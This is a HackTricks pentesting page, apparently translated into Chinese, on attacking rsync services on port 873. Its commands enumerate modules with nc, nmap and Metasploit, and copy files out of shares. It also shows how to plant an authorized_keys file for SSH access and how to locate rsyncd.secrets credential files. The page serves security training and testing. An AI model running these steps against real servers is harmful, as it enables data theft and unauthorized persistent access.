# 873 - Pentesting Rsync {{#include ../banners/hacktricks-training.md}} ## **基本信息** 来自 [wikipedia](https://en.wikipedia.org/wiki/Rsync): > **rsync** 是一个用于高效 [传输](https://en.wikipedia.org/wiki/File_transfer) 和 [同步](https://en.wikipedia.org/wiki/File_synchronization) [文件](https://en.wikipedia.org/wiki/Computer_file) 的工具,可以在计算机与外部硬盘之间以及通过 [网络](https://en.wikipedia.org/wiki/Computer_network) [计算机](https://en.wikipedia.org/wiki/Computer) 之间进行文件的比较,基于 [修改时间]() 和文件大小进行传输。[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) 它通常出现在 [类Unix](https://en.wikipedia.org/wiki/Unix-like) [操作系统](https://en.wikipedia.org/wiki/Operating_system) 上。rsync 算法是一种 [增量编码](https://en.wikipedia.org/wiki/Delta_encoding),用于最小化网络使用。 [Zlib](https://en.wikipedia.org/wiki/Zlib) 可用于额外的 [数据压缩](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) 并且可以使用 [SSH](https://en.wikipedia.org/wiki/Secure_Shell) 或 [stunnel](https://en.wikipedia.org/wiki/Stunnel) 来增强安全性。 **默认端口:** 873 ``` PORT STATE SERVICE REASON 873/tcp open rsync syn-ack ``` ## 枚举 ### 横幅与手动通信 ```bash nc -vn 127.0.0.1 873 (UNKNOWN) [127.0.0.1] 873 (rsync) open @RSYNCD: 31.0 <--- You receive this banner with the version from the server @RSYNCD: 31.0 <--- Then you send the same info #list <--- Then you ask the sever to list raidroot <--- The server starts enumerating USBCopy NAS_Public _NAS_Recycle_TOSRAID <--- Enumeration finished @RSYNCD: EXIT <--- Sever closes the connection #Now lets try to enumerate "raidroot" nc -vn 127.0.0.1 873 (UNKNOWN) [127.0.0.1] 873 (rsync) open @RSYNCD: 31.0 @RSYNCD: 31.0 raidroot @RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password ``` ### **枚举共享文件夹** **Rsync 模块** 被视为可能 **受密码保护的目录共享**。要识别可用模块并检查它们是否需要密码,可以使用以下命令: ```bash nmap -sV --script "rsync-list-modules" -p msf> use auxiliary/scanner/rsync/modules_list # Example with IPv6 and alternate port rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730 ``` 请注意,某些共享可能不会出现在列表中,可能会隐藏它们。此外,访问某些共享可能会限制特定的 **credentials**,并显示 **"Access Denied"** 消息。 ### [**Brute Force**](../generic-hacking/brute-force.md#rsync) ### 手动 Rsync 使用 在获得 **module list** 后,操作取决于是否需要身份验证。没有身份验证的情况下,可以通过以下方式从共享文件夹列出和复制文件到本地目录: ```bash # Listing a shared folder rsync -av --list-only rsync://192.168.0.123/shared_name # Copying files from a shared folder rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared ``` 这个过程**递归地传输文件**,保留它们的属性和权限。 使用**凭据**,可以按如下方式从共享文件夹列出和下载文件,此时将出现密码提示: ```bash rsync -av --list-only rsync://username@192.168.0.123/shared_name rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared ``` 要**上传内容**,例如用于访问的 _**authorized_keys**_ 文件,请使用: ```bash rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh ``` ## POST 要找到 rsyncd 配置文件,请执行: ```bash find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \) ``` 在此文件中,_secrets file_ 参数可能指向一个包含 **用户名和密码** 的文件,用于 rsyncd 认证。 ## 参考 - [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html) {{#include ../banners/hacktricks-training.md}}